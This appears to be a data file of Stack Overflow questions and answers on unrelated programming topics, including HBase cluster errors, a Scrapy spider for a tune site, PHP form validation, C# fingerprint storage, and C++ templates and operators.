27635845	0	Hbase connection problems and failed to create table <p>I'm running a multi-node cluster; I'm using hadoop-1.0.3(on both), Hbase-0.94.2(on both) and zookeeper-3.4.6(only master) </p> <p>master:192.168.0.1 slave:192.168.0.2</p> <p>Hbase is not running perfectly and I faced problems while trying to create a table on hbase and of course I can't access HBase status UI on <code>http://master:60010</code> please Help!!</p> <p>Here is all my configuration files :</p> <p>(hadoop conf) core-site.xml: (same configuration on both master and slave)</p> <pre><code> &lt;configuration&gt; &lt;property&gt; &lt;name&gt;fs.default.name&lt;/name&gt; &lt;value&gt;hdfs://localhost:54310&lt;/value&gt; &lt;/property&gt; &lt;/configuration&gt; </code></pre> <p>(hbase conf) hbase-site.xml:</p> <pre><code>&lt;configuration&gt; &lt;property&gt; &lt;name&gt;hbase.rootdir&lt;/name&gt; &lt;value&gt;hdfs://master:54310/hbase&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hbase.cluster.distributed&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hbase.zookeeper.quorum&lt;/name&gt; &lt;value&gt;master,slave&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hbase.zookeeper.property.clientPort&lt;/name&gt; &lt;value&gt;2222&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hbase.zookeeper.property.dataDir&lt;/name&gt; &lt;value&gt;/usr/local/hadoop/zookeeper&lt;/value&gt; &lt;/property&gt; &lt;/configuration&gt; </code></pre> <p>/etc/hosts and :</p> <pre><code>192.168.0.1 master 192.168.0.2 slave </code></pre> <p>regionservers:</p> <pre><code>master slave </code></pre> <p>here is the log file : hbase-hduser-regionserver-master.log</p> <pre><code>2014-12-24 02:12:13,190 WARN org.apache.zookeeper.ClientCnxn: Session 0x0 for server null, unexpected error, closing socket connection and attempting reconnect java.net.NoRouteToHostException: No route to host at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method) at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:739) at org.apache.zookeeper.ClientCnxnSocketNIO.doTransport(ClientCnxnSocketNIO.java:286) at org.apache.zookeeper.ClientCnxn$SendThread.run(ClientCnxn.java:1035) 2014-12-24 02:12:14,002 INFO org.apache.zookeeper.ClientCnxn: Opening socket connection to server master/192.168.0.1:2181 2014-12-24 02:12:14,003 INFO org.apache.zookeeper.client.ZooKeeperSaslClient: Client will not SASL-authenticate because the default JAAS configuration section 'Client' could not be found. If you are not using SASL, you may ignore this. On the other hand, if you expected SASL to work, please fix your JAAS configuration. 2014-12-24 02:12:14,004 INFO org.apache.zookeeper.ClientCnxn: Socket connection established to master/192.168.0.1:2181, initiating session 2014-12-24 02:12:14,005 INFO org.apache.zookeeper.ClientCnxn: Unable to read additional data from server sessionid 0x0, likely server has closed socket, closing socket connection and attempting reconnect 2014-12-24 02:12:14,675 INFO org.apache.hadoop.ipc.HBaseServer: Stopping server on 60020 2014-12-24 02:12:14,676 FATAL org.apache.hadoop.hbase.regionserver.HRegionServer: ABORTING region server master,60020,1419415915643: Initialization of RS failed. Hence aborting RS. java.io.IOException: Received the shutdown message while waiting. at org.apache.hadoop.hbase.regionserver.HRegionServer.blockAndCheckIfStopped(HRegionServer.java:623) at org.apache.hadoop.hbase.regionserver.HRegionServer.initializeZooKeeper(HRegionServer.java:598) at org.apache.hadoop.hbase.regionserver.HRegionServer.preRegistrationInitialization(HRegionServer.java:560) at org.apache.hadoop.hbase.regionserver.HRegionServer.run(HRegionServer.java:669) at java.lang.Thread.run(Thread.java:745) 2014-12-24 02:12:14,676 FATAL org.apache.hadoop.hbase.regionserver.HRegionServer: RegionServer abort: loaded coprocessors are: [] 2014-12-24 02:12:14,676 INFO org.apache.hadoop.hbase.regionserver.HRegionServer: STOPPED: Initialization of RS failed. Hence aborting RS. 2014-12-24 02:12:14,683 INFO org.apache.hadoop.hbase.regionserver.HRegionServer: Registered RegionServer MXBean 2014-12-24 02:12:14,689 INFO org.apache.hadoop.hbase.regionserver.ShutdownHook: Shutdown hook starting; hbase.shutdown.hook=true; fsShutdownHook=Thread[Thread-5,5,main] 2014-12-24 02:12:14,689 INFO org.apache.hadoop.hbase.regionserver.HRegionServer: STOPPED: Shutdown hook 2014-12-24 02:12:14,690 INFO org.apache.hadoop.hbase.regionserver.ShutdownHook: Starting fs shutdown hook thread. 2014-12-24 02:12:14,691 INFO org.apache.hadoop.hbase.regionserver.ShutdownHook: Shutdown hook finished. </code></pre>
27985064	0	 <p>In pure Python you can do this using a dictionary in <code>O(N)</code> time, the only time penalty is going to be the Python loop involved:</p> <pre><code>&gt;&gt;&gt; arr1 = np.array([7.2, 2.5, 3.9]) &gt;&gt;&gt; arr2 = np.array([[7.2, 2.5], [3.9, 7.2]]) &gt;&gt;&gt; indices = dict(np.hstack((arr1[:, None], np.arange(3)[:, None]))) &gt;&gt;&gt; np.fromiter((indices[item] for item in arr2.ravel()), dtype=arr2.dtype).reshape(arr2.shape) array([[ 0., 1.], [ 2., 0.]]) </code></pre>
16220490	0	If there a way I can inner join a MS Sql table to a MySql Table in one query using MySql? <p>I have 2 servers one servers runs Microsoft SQL Server and the other one is using MySql. </p> <p>I need to be able to inner join a table from MS SQL name it "A" to a table "B" located on a different server that uses MySql</p> <p>So I want to be able to do something like this</p> <p><code>SELECT A.*, B.* FROM A INNER JOIN B ON A.id=B.id LIMIT 100</code></p> <p>How can I do this? note that both servers are on the same network. </p>
18921377	0	 <p>Another alternative: RedGate has recently updated pricing on their Deployment manager tool: <a href="http://www.red-gate.com/delivery/deployment-manager/" rel="nofollow">http://www.red-gate.com/delivery/deployment-manager/</a></p> <p>If you have 5 projects or less, the tool appears to be free. </p>
22302102	0	 <p>Try using regex as a lightweight solution.</p> <p>Try this regex (tested on <a href="http://regexpal.com/" rel="nofollow">http://regexpal.com/</a>):</p> <pre><code>src=\"([^\"]*)\" </code></pre> <p>And you could extract the string using captured group</p> <p>Sample code:</p> <pre><code>string input = "&lt;img alt=\"Desert.jpg\" src=\"/PublishingImages/Lists/Images/NewForm/Desert.jpg\" width=\"174\" style=\"BORDER: 0px solid; \"&gt;"; string pattern = "src=\"([^\"]*)\""; string extractedString = Regex.Match(input, pattern).Groups[1].Value; </code></pre>
14584006	0	 <p>In dynamically loaded files using autoloaders, the file containing the function or class might not have loaded, so you need to check if it exists</p>
2800943	0	javascript form submission usng window.onload on background window <p>I have a form which submits certain values to third party... I am using windows.onload(); to submit that form, but as soon as the page is loaded the focus goes to new window... Is there a way to retain focus on my window only...</p>
8276845	1	python's scrapy doesn't seem to get data from all available URLs <p>I'm trying to scrape <a href="http://thesession.org" rel="nofollow noreferrer">thesession.org</a> to create a table of how many times each tune has been added to memeber's tunebooks so I can find some popular pieces to learn. I've started with the scrapy tutorial <a href="http://doc.scrapy.org/en/0.7/intro/tutorial.html" rel="nofollow noreferrer">here</a> and am trying to modify it to suit my purposes. The problem is that although the thesession.org website appears to have some 10,390 tunes, my scraper only returns data on 10 of them (only the ones on <a href="http://www.thesession.org/tunes/index.php" rel="nofollow noreferrer">http://www.thesession.org/tunes/index.php</a>). How can I get data on all the tunes (or the top-ranked hundred tunes)? Any advice would be greatly appreciated.</p> <p>Here's what I've got so far: </p> <p>items.py</p> <pre><code>from scrapy.item import Item, Field class tuneItem(Item): url = Field() name1 = Field() name2 = Field() key = Field() count = Field() pass </code></pre> <p>tune_spider.py</p> <pre><code>from scrapy.spider import BaseSpider from scrapy.contrib.spiders import CrawlSpider, Rule from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor from scrapy.selector import HtmlXPathSelector from scrapy.item import Item from tutorial.items import tuneItem from scrapy.conf import settings class tunesSpider(CrawlSpider): name = "irishtunes" allowed_domains = ["thesession.org"] start_urls = ["http://www.thesession.org/tunes"] rules = [Rule(SgmlLinkExtractor(allow=['/display/\d+'], deny=['/members/','/recordings/','/index/','/display/\d+/.']), 'parse_tune')] def parse_tune(self, response): x = HtmlXPathSelector(response) tune = tuneItem() tune['url'] = response.url tune['name1'] = x.select("//div[@id='details']//div[@class='box']/h1/text()").extract() tune['name2'] = x.select("//div[@id='details']//div[@class='box']/h2/text()").extract() tune['key'] = x.select("//div[@id='details']//div[@class='box']/p[1]/text()").extract() tune['count'] = x.select("//div[@id='details']//div[@class='box']/p[3]/text()").re('\d+') return tune </code></pre> <p>I run the scraper by opening my console, going to directory containing tutorial's cfg file, and running <code>scrapy crawl irishtunes --set FEED_URI=scraped_data.csv --set FEED_FORMAT=csv</code></p> <p>Here is what I get:</p> <pre><code>C:\Users\BM\Desktop\scrape\tutorial&gt;scrapy crawl irishtunes --set FEED_URI=scrap ed_data.csv --set FEED_FORMAT=csv 2011-11-25 22:45:47-0800 [scrapy] INFO: Scrapy 0.14.0.2841 started (bot: tutoria l) 2011-11-25 22:45:47-0800 [scrapy] DEBUG: Enabled extensions: FeedExporter, LogSt ats, TelnetConsole, CloseSpider, WebService, CoreStats, SpiderState 2011-11-25 22:45:48-0800 [scrapy] DEBUG: Enabled downloader middlewares: HttpAut hMiddleware, DownloadTimeoutMiddleware, UserAgentMiddleware, RetryMiddleware, De faultHeadersMiddleware, RedirectMiddleware, CookiesMiddleware, HttpCompressionMi ddleware, ChunkedTransferMiddleware, DownloaderStats 2011-11-25 22:45:48-0800 [scrapy] DEBUG: Enabled spider middlewares: HttpErrorMi ddleware, OffsiteMiddleware, RefererMiddleware, UrlLengthMiddleware, DepthMiddle ware 2011-11-25 22:45:48-0800 [scrapy] DEBUG: Enabled item pipelines: 2011-11-25 22:45:48-0800 [irishtunes] INFO: Spider opened 2011-11-25 22:45:48-0800 [irishtunes] INFO: Crawled 0 pages (at 0 pages/min), sc raped 0 items (at 0 items/min) 2011-11-25 22:45:48-0800 [scrapy] DEBUG: Telnet console listening on 0.0.0.0:602 3 2011-11-25 22:45:48-0800 [scrapy] DEBUG: Web service listening on 0.0.0.0:6080 2011-11-25 22:45:48-0800 [irishtunes] DEBUG: Redirecting (301) to &lt;GET http://ww w.thesession.org/tunes/&gt; from &lt;GET http://www.thesession.org/tunes&gt; 2011-11-25 22:45:48-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/&gt; (referer: None) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11602&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11602&gt; {'count': [u'1'], 'key': [u'Key signature: Dmajor'], 'name1': [u"Brendan Begley's"], 'name2': [u'polka'], 'url': 'http://www.thesession.org/tunes/display/11602'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11593&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11593&gt; {'count': [u'3'], 'key': [u'Key signature: Amajor'], 'name1': [u'Carleton County Breakdown'], 'name2': [u'reel'], 'url': 'http://www.thesession.org/tunes/display/11593'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11597&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11597&gt; {'count': [u'3'], 'key': [u'Key signature: Dmajor'], 'name1': [u"Kasper's Rant"], 'name2': [u'hornpipe'], 'url': 'http://www.thesession.org/tunes/display/11597'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11594&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11594&gt; {'count': [u'5'], 'key': [u'Key signature: Gmajor'], 'name1': [u'The Full Of The Bag'], 'name2': [u'hornpipe'], 'url': 'http://www.thesession.org/tunes/display/11594'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11599&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11599&gt; {'count': [u'1'], 'key': [u'Key signature: Adorian'], 'name1': [u'The New Steamboat'], 'name2': [u'reel'], 'url': 'http://www.thesession.org/tunes/display/11599'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11598&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11598&gt; {'count': [u'4'], 'key': [u'Key signature: Gmajor'], 'name1': [u"Galen's Arrival"], 'name2': [u'reel'], 'url': 'http://www.thesession.org/tunes/display/11598'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11596&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11596&gt; {'count': [u'2'], 'key': [u'Key signature: Amixolydian'], 'name1': [u'Culloden Day'], 'name2': [u'strathspey'], 'url': 'http://www.thesession.org/tunes/display/11596'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11595&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11595&gt; {'count': [u'2'], 'key': [u'Key signature: Aminor'], 'name1': [u'Miss Sine Flemington'], 'name2': [u'barndance'], 'url': 'http://www.thesession.org/tunes/display/11595'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11600&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11600&gt; {'count': [u'2'], 'key': [u'Key signature: Dmajor'], 'name1': [u"Joan Martin's"], 'name2': [u'polka'], 'url': 'http://www.thesession.org/tunes/display/11600'} 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Crawled (200) &lt;GET http://www.these ssion.org/tunes/display/11601&gt; (referer: http://www.thesession.org/tunes/) 2011-11-25 22:45:49-0800 [irishtunes] DEBUG: Scraped from &lt;200 http://www.theses sion.org/tunes/display/11601&gt; {'count': [u'2'], 'key': [u'Key signature: Gmajor'], 'name1': [u'My Time Inside 2005'], 'name2': [u'waltz'], 'url': 'http://www.thesession.org/tunes/display/11601'} 2011-11-25 22:45:49-0800 [irishtunes] INFO: Closing spider (finished) 2011-11-25 22:45:49-0800 [irishtunes] INFO: Stored csv feed (10 items) in: scrap ed_data.csv 2011-11-25 22:45:49-0800 [irishtunes] INFO: Dumping spider stats: {'downloader/request_bytes': 3655, 'downloader/request_count': 12, 'downloader/request_method_count/GET': 12, 'downloader/response_bytes': 31620, 'downloader/response_count': 12, 'downloader/response_status_count/200': 11, 'downloader/response_status_count/301': 1, 'finish_reason': 'finished', 'finish_time': datetime.datetime(2011, 11, 26, 6, 45, 49, 500000), 'item_scraped_count': 10, 'request_depth_max': 1, 'scheduler/memory_enqueued': 12, 'start_time': datetime.datetime(2011, 11, 26, 6, 45, 48, 10000)} 2011-11-25 22:45:49-0800 [irishtunes] INFO: Spider closed (finished) 2011-11-25 22:45:49-0800 [scrapy] INFO: Dumping global stats: {} </code></pre> <p><strong>EDIT:</strong> The answer from @reclosedev got me on the way. For anyone wondering about the outcome, here's a snapshot... </p> <p>(1) The vast majority of tunes are less than 10 members' tunebooks</p> <p><img src="https://i.stack.imgur.com/bOJvl.png" alt="enter image description here"></p> <p>(2) The popularity of all 10,379 tunes that I could scrape from the site (as measured by how many tunebooks they are in) follows a power-law distribution</p> <p><img src="https://i.stack.imgur.com/8hozW.png" alt="enter image description here"></p> <p>(3) And here are the tunes that are in >1000 tunebooks on the site, showing the names of the top-ranked tunes and how many tunebooks they are in</p> <p><img src="https://i.stack.imgur.com/WgAik.png" alt="enter image description here"></p>
23188463	0	 <p>try this:</p> <pre><code> $name = $_POST['name']; $email = $_POST['email']; $custom_field1 = $_POST['custom_field1']; $custom_field2 = $_POST['custom_field2']; $error = array(); if($name=='') { $error[] = 'Name are mandatory'; } if($email == '') { $error[] = 'Email are mandatory'; } if($custom_field1 == '') { $error[] = 'Custom field 1 is mandatory'; } if($custom_field2 == '') { $error[] = 'Custom field 2 is mandatory'; } if (!empty($error)) { $custom_field3 = $_POST['custom_field3']; $boolean = 'true'; $postdata = http_build_query( array( 'name' =&gt; $name, 'email' =&gt; $email, 'custom_field1' =&gt; $custom_field1, 'custom_field2' =&gt; $custom_field2, 'custom_field3' =&gt; $custom_field3, 'list' =&gt; $list, 'boolean' =&gt; 'true' ) ); $opts = array('http' =&gt; array('method' =&gt; 'POST', 'header' =&gt; 'Content-type: application/x-www-form-urlencoded', 'content' =&gt; $postdata)); $context = stream_context_create($opts); $result = file_get_contents($app_url.'/signin', false, $context); if ($result != 1) $error[] = $result; } } </code></pre> <p>When you displaying the error messages, make a loop in <code>$error</code> array</p> <pre><code>foreach ($error as $errstr) { echo "&lt;p&gt;{$errstr}&lt;/p&gt;"; } </code></pre> <p>or <code>implode</code> to string and echoes like</p> <pre><code>echo "&lt;p&gt;" . implode("&lt;/p&gt;&lt;p&gt;", $error) . "&lt;/p&gt;"; </code></pre>
21918427	0	 <p>It means if you try to serialize/deserialize more than 20 different types you will require a paid license. See the test in the source code <a href="https://github.com/ServiceStack/ServiceStack/blob/master/tests/ServiceStack.WebHost.Endpoints.Tests/LicenseUsageTests.cs#L55" rel="nofollow">here</a>. In this case 20 different types are trying to be deserialized, causing a <code>License Exception</code>.</p> <p>From you description, you should be well within the limit of the free license and not have to worry about hitting any limitations.</p>
32968242	0	 <p>We have a project like this one before. You need an sdk (software development kit) to go to your device. Add that to your project references so you can communicate with it. And I believe there is a sample code in the SDK site that you could find in the case of your finger print reader which you could modify. <br/><br/>Anyway here is our sample code for saving fingerprint directly in the database.</p> <pre><code>private void SaveButton_Click(object sender, EventArgs e) { MemoryStream fingerprintData = new MemoryStream(); Template.Serialize(fingerprintData); fingerprintData.Position = 0; BinaryReader br = new BinaryReader(fingerprintData); Byte[] bytes = br.ReadBytes((Int32)fingerprintData.Length); //Insert the file into database SqlConnection cn = new SqlConnection("Data Source=10.115.5.3; Initial Catalog=EnrollmentSampledb;Integrated Security=SSPI;"); SqlCommand cmd = new SqlCommand("INSERT INTO tblUser VALUES(@ID_NUMBER, @FIRSTNAME, @LASTNAME, @FINGERPRINT, @DATE_ADDED, @DATE_MODIFIED)", cn); cmd.Parameters.Add("ID_NUMBER", SqlDbType.NVarChar).Value = tboxIdNum.Text; cmd.Parameters.Add("FIRSTNAME", SqlDbType.NVarChar).Value = tboxFname.Text; cmd.Parameters.Add("LASTNAME", SqlDbType.NVarChar).Value = tboxLname.Text; cmd.Parameters.Add("FINGERPRINT", SqlDbType.Image).Value = bytes; cmd.Parameters.Add("DATE_ADDED", SqlDbType.DateTime).Value = DateTime.Now; cmd.Parameters.Add("DATE_MODIFIED", SqlDbType.DateTime).Value = DateTime.Now; cn.Open(); cmd.ExecuteNonQuery(); cn.Close(); tboxIdNum.Text = ""; tboxFname.Text = ""; tboxLname.Text = ""; } </code></pre> <p>see also my similar question <a href="http://stackoverflow.com/questions/17335769/how-to-save-a-fingerprint-directly-in-the-database-using-digitalpersona-sdk">here</a> for saving fingerprint directly in the database.</p>
26324565	0	 <p>Yes, it is safe. From [6.5.9] of the C99 standard (emphasis mine):</p> <blockquote> <p><strong>Two pointers compare equal if and only if</strong> both are null pointers, <strong>both are pointers to the same</strong> object (including a pointer to an object and a subobject at its beginning) or <strong>function</strong>, both are pointers to one past the last element of the same array object, or one is a pointer to one past the end of one array object and the other is a pointer to the start of a different array object that happens to immediately follow the first array object in the address space.</p> </blockquote>
21984294	0	 <p>I'm no expert in ActiveMQ, but I'm one of the developers of the HiveMQ MQTT broker, which is also written in Java. We have an OpenSource Plugin SDK, which allows to customize the authentication of clients and the authorization of clients to publish/subscribe to the broker. You can use a relational database or any other kind of service that is accessable from within Java to determine if a certain client is allowed to publish or subscribe to a topic. Clients can be restricted by topic, activity (publish/subscribe) and QoS.</p> <p>More information how it works can be found in the HiveMQ Plugin developers guide [1] [2].</p> <p>Cheers, Chris</p> <p>[1] <a href="http://www.hivemq.com/docs/plugins/1.4.0/#auth-permission-chapter" rel="nofollow">http://www.hivemq.com/docs/plugins/1.4.0/#auth-permission-chapter</a></p> <p>[2] <a href="http://www.hivemq.com/docs/plugins/1.4.0/#client-authorization-chapter" rel="nofollow">http://www.hivemq.com/docs/plugins/1.4.0/#client-authorization-chapter</a></p>
25845536	0	Trait to check if some specialization of template class is base class of specific class <p>There is <code>std::is_base_of</code> in modern STL. It allow us to determine whether the second parameter is derived from first parameter or if they are the same classes both or, otherwise, to determine is there no such relation between them.</p> <p>Is it possible to determine whether the one class is derived from some concrete template class without distinction of which concrete actual parameters involved to its specialization?</p> <p>Say, we have;</p> <pre><code>template&lt; typename ...types &gt; struct B {}; </code></pre> <p>And</p> <pre><code>template&lt; typename ...types &gt; struct D : B&lt; types... &gt; {}; </code></pre> <p>Is it possible to define a type trait:</p> <pre><code>template&lt; typename T &gt; is_derived_from_B; </code></pre> <p>Such that it is derived from <code>std::true_type</code> when <code>T</code> is any specialization of <code>D</code> and derived from <code>std::false_type</code> if <code>T</code> is not derived from any specialization of <code>B</code>?</p>
32172238	0	 <p>You already got it, you just needed to create the container for the output (the <code>numnights</code> element). </p> <p>Anyway the code is a little bit cleaner in this way:</p> <hr> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function(){ $(".daypicker").on('change', function(){calculateNights();}); }); function calculateNights() { var arrivalday = $("#arrivalday").val(); var departureday = $('#departureday').val(); var numberNights = departureday - arrivalday; numberNights = (numberNights &lt; 1) ? numberNights + 7 : numberNights; $("#numNights").html(numberNights); }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;select required="required" class="daypicker" id="arrivalday" name="arrivalday"&gt; &lt;option&gt;&lt;/option&gt; &lt;option value="1"&gt;Monday&lt;/option&gt; &lt;option value="2"&gt;Tuesday&lt;/option&gt; &lt;option value="3"&gt;Wednesday&lt;/option&gt; &lt;option value="4"&gt;Thursday&lt;/option&gt; &lt;option value="5"&gt;Friday&lt;/option&gt; &lt;option value="6"&gt;Saturday&lt;/option&gt; &lt;option value="7"&gt;Sunday&lt;/option&gt; &lt;/select&gt; &lt;select required="required" class="daypicker" id="departureday" name="departureday"&gt; &lt;option&gt;&lt;/option&gt; &lt;option value="1"&gt;Monday&lt;/option&gt; &lt;option value="2"&gt;Tuesday&lt;/option&gt; &lt;option value="3"&gt;Wednesday&lt;/option&gt; &lt;option value="4"&gt;Thursday&lt;/option&gt; &lt;option value="5"&gt;Friday&lt;/option&gt; &lt;option value="6"&gt;Saturday&lt;/option&gt; &lt;option value="7"&gt;Sunday&lt;/option&gt; &lt;/select&gt; &lt;hr&gt; &lt;div id="numNights"&gt;&lt;/div&gt;</code></pre> </div> </div> </p> <p>Hope it helps!</p>
23627627	0	C++ copy constructor, assignment 'operator=' <p>I'm trying to make a copy constructor or = operator. If I define a matrix named A, another as B and C and use the '=' operator as:</p> <p>A=B</p> <p>it performs well, However if i use like: </p> <p>A=B+C i get this error: no matching function for '='. </p> <p>The point is when I change the symbol(=) to (==) it works well,even in the case of A == B+C, however by using only the equality sign(=) it doesn't work! any ideas?</p> <p>In the header file:</p> <pre><code>Simple2DMatrixD (const Simple2DMatrixD&amp; matrixA) { numRows = matrixA.numRows; numCols = matrixA.numCols; dataArray = new double[numRows * numCols]; for (int iX = 0; iX &lt; numRows; iX++) { for (int iY = 0; iY &lt; numCols; iY++) { dataArray[(iX * numRows) + iY] = matrixA.getElement(iX,iY) ; } } } Simple2DMatrixD &amp; assign (const Simple2DMatrixD &amp; matrixB); Simple2DMatrixD &amp; sum (const Simple2DMatrixD &amp; matrixA, const Simple2DMatrixD &amp; matrixB); </code></pre> <p>// ADDITION OPERATOR</p> <pre><code>friend Simple2DMatrixD operator+ (Simple2DMatrixD &amp; matrixA, Simple2DMatrixD &amp; matrixB) { Simple2DMatrixD matrixTemp(matrixA.numRows, matrixA.numCols); matrixTemp.sum(matrixA, matrixB); return (matrixTemp); } </code></pre> <p>// ASSIGNMENT OPERATOR</p> <pre><code>Simple2DMatrixD &amp; operator= (const Simple2DMatrixD &amp; matrixB) { this-&gt;assign(matrixB); return (*this); } </code></pre> <p>// and in the source file:</p> <pre><code>Simple2DMatrixD &amp; Simple2DMatrixD::assign (const Simple2DMatrixD &amp; matrixB) { for (int r = 0; r &lt; numRows; r++) { for (int c = 0; c &lt; numCols; c++) { this-&gt;setElement(r, c, matrixB.getElement(r, c)); } } return (*this); } </code></pre> <p>// MATRICES ADDITION</p> <pre><code>Simple2DMatrixD &amp; Simple2DMatrixD::sum (const Simple2DMatrixD &amp; matrixA, const Simple2DMatrixD &amp; matrixB) { // TODO REPLACE WITH COMPAREDIMENSION FUNCTION if ((this-&gt;numRows == matrixB.numRows) &amp;&amp; (this-&gt;numCols == matrixB.numCols) ) { for (int r = 0; r &lt; matrixA.numRows; r++) { for (int c = 0; c &lt; matrixA.numCols; c++) { this-&gt;setElement(r, c, matrixA.getElement(r, c) + matrixB.getElement(r, c)); } } return (*this); } else { throw " Dimensions does not match!"; } } </code></pre>
40264523	0	Why does 5/2 results in '2' even when I use a float? <p>I entered the following code (and had no compiling problems or anything):</p> <pre><code>float y = 5/2; printf("%f\n", y); </code></pre> <p>The output was simply: <code>2.00000</code></p> <p>My math isn't wrong is it? Or am I wrong on the / operator? It means divide doesn't it? And 5/2 should equal 2.5?</p> <p>Any help is greatly appreciated!</p>
11829740	0	 <p>You can use one of the libraries which allow you to create and manipulate Excel files, like <a href="http://epplus.codeplex.com/" rel="nofollow">EPPlus</a> (open source) or <a href="http://www.aspose.com/" rel="nofollow">Aspose</a> (commercial). I have a positive experience with the latter.</p>
30921360	1	Creating graph vertices from numpy array <p>I have a numpy array full of values that I would like to create vertices from for every point in the array. I am using networkx as my graphing support method(documentation here: <a href="http://networkx.github.io/documentation/latest/tutorial/" rel="nofollow">http://networkx.github.io/documentation/latest/tutorial/</a> )</p> <p>I would like to treat each element within the array as a pixel location and create a vertex instance at each location. This is easy using a simple for loop:</p> <pre><code>new=np.arange(16) gnew=nx.Graph() for x in new: if new[x]&gt;0: gnew.add_node(x) h=gnew.number_of_nodes() print h </code></pre> <p>And as expected, 15 nodes will be printed. However, this becomes more tricky when you have identical values. For example:</p> <pre><code>new=np.ones(16) gnew=nx.Graph() for x in new: if new[x]&gt;0: gnew.add_node(x) h=gnew.number_of_nodes() print h </code></pre> <p>Now, because all values are identical-(1), only one node will be added to the graph. Is there a way to circumnavigate this?</p>
9421462	0	 <p>Spring 3 introduced the Converter SPI which makes this quite easy. Have a look at 6.5 in the <a href="http://static.springsource.org/spring/docs/current/spring-framework-reference/html/validation.html#beans-beans-conversion" rel="nofollow">documentation</a> </p> <p>Taking source from the docs and putting in your country, you would do something like </p> <pre><code>package my.converter; final class StringToCountry implements Converter&lt;String, Country&gt; { public Country convert(String source) { return // whatever you do to get a country from your string } } </code></pre> <p>Then in the xml config you would configure the converter</p> <pre><code>&lt;bean id="conversionService" class="org.springframework.context.support.ConversionServiceFactoryBean"&gt; &lt;property name="converters"&gt; &lt;list&gt; &lt;bean class="my.converter.StringToCountry"/&gt; &lt;/list&gt; &lt;/property&gt; &lt;/bean&gt; </code></pre> <p>As GriffeyDog pointed out, you may want to put the country id in for the select path so you can get the Country by ID or something instead of whatever is returned by toString() of your Country object.</p>
35065421	0	Evaluate all formulas in a Workbook object <p>I want to evaluate all formulas in a Workbook object. I know there are XSSFFormulaEvaluator and HSSFFormulaEvaluator for evaluating formulas in XSSFWorkbook and HSSFWorkbook. But the workbook object I have belongs to Workbook class.</p> <p>I can use something like this,</p> <pre><code>XSSFFormulaEvaluator.evaluateAllFormulaCells((XSSFWorkbook) workbook); </code></pre> <p>Is it ok to use this evaluator? Does it have any side effects to type-casting Workbook to XSSFWorkbook?</p>
35686500	0	How to define member class operator based on the class parameters <p>Is it possible to define different = operators for different template arguments. Let's assume that I want to use different methods for converting arguments of different types:</p> <pre><code>template &lt;class T,class U&gt; class cTest { private: public: T x; U y; //typical case cTest&lt;T,U&gt;&amp; operator =(const cTest&lt;T,U&gt; &amp;that) { return *this; } //operator = based on the LHS type 1 cTest&lt;uint16_t,U&gt;&amp; operator =(const cTest&lt;int,U&gt; &amp;that) { cout&lt;&lt;"cTest&lt;uint16_t,U&gt;&amp; operator =(const cTest&lt;int,U&gt; &amp;that)"&lt;&lt;endl; return cTest&lt;uint16_t,U&gt;(); } //operator = based on the LHS type 2 cTest&lt;uint8_t,U&gt;&amp; operator =(const cTest&lt;int,U&gt; &amp;that) { cout&lt;&lt;"cTest&lt;uint8_t,U&gt;&amp; operator =(const cTest&lt;int,U&gt; &amp;that)"&lt;&lt;endl; return cTest&lt;uint16_t,U&gt;(); } }; </code></pre>
